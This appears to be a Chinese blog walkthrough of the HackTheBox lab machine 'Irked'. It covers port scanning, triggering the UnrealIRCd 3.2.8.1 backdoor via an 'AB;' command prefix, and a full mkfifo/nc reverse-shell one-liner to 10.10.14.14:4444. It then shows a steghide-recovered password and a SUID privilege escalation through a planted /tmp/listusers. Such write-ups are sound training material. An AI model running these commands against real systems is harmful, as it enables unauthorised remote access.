![](https://i-blog.csdnimg.cn/blog_migrate/1fe98327d27b1e1a11f23a2a8afcdcf7.png)
nmap
nmap -sV -sC -Pn -T4 -oA nmap 10.10.10.117
可能是因为网络原因,与目标链接并不稳定,因此添加了参数-Pn,也只扫描了常见的端口
![](https://i-blog.csdnimg.cn/blog_migrate/d2174c1881df84227854646ef7ff5a0e.png)
扫描可以看到只开启了3个端口,22,80和111。但是在访问web时,页面提示运行着irc
![](https://i-blog.csdnimg.cn/blog_migrate/769a0b95dae01dbfac1b8eda1547a987.png)
因此再次扫描目标系统,这次扫描全端口,为了节约时间,使用了以下命令nmap -vv -p- -Pn -T4 10.10.10.117,-vv可以及时的把扫描结果打印到屏幕上。
![](https://i-blog.csdnimg.cn/blog_migrate/bb7139f1532e7d79da069abe35d67932.png)
在对指定的端口进行详细扫描,发现6697端口运行着irc,版本为UnrealIRCd
![](https://i-blog.csdnimg.cn/blog_migrate/2d5f5f6d39018e459c1a1d602bf7e8bc.png)
hexchat连接IRC
网页提示再加上扫描都发现存在irc服务,那应该就是要对这个服务漏洞的利用了
Internet 中继聊天作为应用层协议实现,以方便以文本形式进行通信。聊天过程在客户端-服务器网络模型上运行。用户使用客户端(可能是Web 应用程序、独立桌面程序或嵌入到较大程序的一部分)连接到 IRC 服务器,该服务器可能是较大 IRC 网络的一部分。
那么尝试看看能不能连接到IRC服务器,在网上搜索该如何连接IRC,发现有一篇文章,介绍了IRC并给出了客户端hexchat的使用方法http://unifreak.github.io/tutorial/IRC-quick-start,下载程序
![](https://i-blog.csdnimg.cn/blog_migrate/822d04aa785ce0bd7c2fe274f9162015.png)
等待下载完成,然后运行程序,add一个Networks,命名为irked,并编辑
![](https://i-blog.csdnimg.cn/blog_migrate/bfe4fcf60ebfd4986c89ff422366125e.png)
点击连接后,很顺利的就连接到了irc
![](https://i-blog.csdnimg.cn/blog_migrate/1fc0e98a3e1f49cf34b5ff57a31e54eb.png)
打开channel list,但里面没有任何东西
![](https://i-blog.csdnimg.cn/blog_migrate/d9a217c0856e735ece1c865d35d9efe3.png)
不知道该怎么搞,但是nc也可以连接,就要查一下irc该如何用了
UnrealIRCD 3.2.8.1
查阅IRC的RFC,手工getshell
在https://www.rfc-editor.org/rfc/rfc1459#section-4.1中有irc的使用指导,4.1节讲了该如何连接注册并与服务通信
1. Pass message
在连接前需要设置一个密码。命令:PASS 参数:<password>
2. Nick message
为用户设置一个昵称。命令:NICK 参数:<nickname> [ <hopcount> ]
3. User message
用于连接开始时指定 新用户的用户名、主机名、服务器名和realname。命令:USER 参数:<username> <hostname> <servername> <realname>
必须注意 realname 参数必须是最后一个参数, 因为它可能包含空格字符并且必须以冒号(':')作为前缀以确保它被识别为这样
使用nc连接服务,并按照对应格式填写对应信息,就可以连接服务,可以看到已经welcome了,并且发现目标使用的irc的版本为Unreal3.2.8.1
![](https://i-blog.csdnimg.cn/blog_migrate/36d74e3fcdfc97e27b799207e42defe9.png)
既然如此,尝试搜索该版本是否存在漏洞,很简单就能得知这个版本的服务存在后门,可以利用
![](https://i-blog.csdnimg.cn/blog_migrate/106b7ec6bc345d595866a2aa56940d8a.png)
DEBUG3_LOG最终解析为对system()的调用,而DEBUGMODE3_INFO只是字符串“AB”。因此,发送到服务器的以“AB”开头的命令将直接传递给 system()。
测试能否利用这一点,先在kali中开启tcpdump抓icmp的包,然后在目标中执行AB;ping -c 5 10.10.14.14
![](https://i-blog.csdnimg.cn/blog_migrate/8905018bc4f7a5a6bcc81252419ce163.png)
收到icmp的包
![](https://i-blog.csdnimg.cn/blog_migrate/d4e9703e3703f0a2ecf8c1884d2bca7c.png)
接下来在kali中用nc监听,在目标irc中执行反弹shell命令,命令在Online - Reverse Shell Generator可以找到
AB;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.14.14 4444 >/tmp/f
![](https://i-blog.csdnimg.cn/blog_migrate/079ef4e032aba1e69b959de99cfc1585.png)
msf一把梭哈
还有一种更快的漏洞利用方法,就是利用metasploit。在kali中使用msfconsole打开控制台,然后搜索漏洞
![](https://i-blog.csdnimg.cn/blog_migrate/b52d920a45a9c8e7d874d8649099f2dd.png)
设置需要设置的东西,没什么好说的,设置好后直接run/exploit即可
![](https://i-blog.csdnimg.cn/blog_migrate/9e5457fea113fb4969158ad96cbb3f3f.png)
steghide
还是先获取一个交互式shell,在djmardov目录中能看到user.txt,但是没有权限访问
![](https://i-blog.csdnimg.cn/blog_migrate/72fa3bc74cad043428c6edf5caedbbae.png)
steg隐写术,和主页的图片有关系,结合发现的这一串密码一样的东西,使用steghide
![](https://i-blog.csdnimg.cn/blog_migrate/7a84f1340456370fde2574528fcb4579.png)
先将那个大黄脸下载到本地,然后下载steghide工具,使用图片,输入密码后便会将内容保存至目录下,命名为pass.txt
![](https://i-blog.csdnimg.cn/blog_migrate/7db7007f2cb157623649ace800c6c72e.png)
查看密码为Kab6h+m+bbp2J:HG 然后可以使用这个密码,用ssh登录djmardov
![](https://i-blog.csdnimg.cn/blog_migrate/6cce3185ee5474e51c3395ff415db228.png)
然后可以查看user.txt
![](https://i-blog.csdnimg.cn/blog_migrate/3de0d0e6ccc6c5396a34fe873c89fdc1.png)
djmardov→root
在目标机上传LinEnum,给予权限,执行。
![](https://i-blog.csdnimg.cn/blog_migrate/30df8b56d06182ffc9d3ce7e884553f4.png)
看到suid文件
![](https://i-blog.csdnimg.cn/blog_migrate/1bd445deca3da2f3d0150e475a439448.png)
运行程序,提示没找到listusers
![](https://i-blog.csdnimg.cn/blog_migrate/2374faa1eec30b1adf58371d91fb3016.png)
新建一个listusers,再次运行却提示操作不允许,为listusers添加执行权限,方便起见直接777,执行后提示hello没找到,好像是在执行listusers中的命令
![](https://i-blog.csdnimg.cn/blog_migrate/e91b97d509eca2bcb5109cd86347f283.png)
确实和猜测的差不多
![](https://i-blog.csdnimg.cn/blog_migrate/86697555537241f16887bc771ae7c9e9.png)
在listusers中写入/bin/bash,执行viewuser,执行listusers中的命令,然后就得到了root的权限
![](https://i-blog.csdnimg.cn/blog_migrate/ce10675d2a6817721c4cb82b9ec82ad4.png)
查看flag就可以了,over!
![](https://i-blog.csdnimg.cn/blog_migrate/b959ba18b001c81c95adbb1d2bac1d96.png)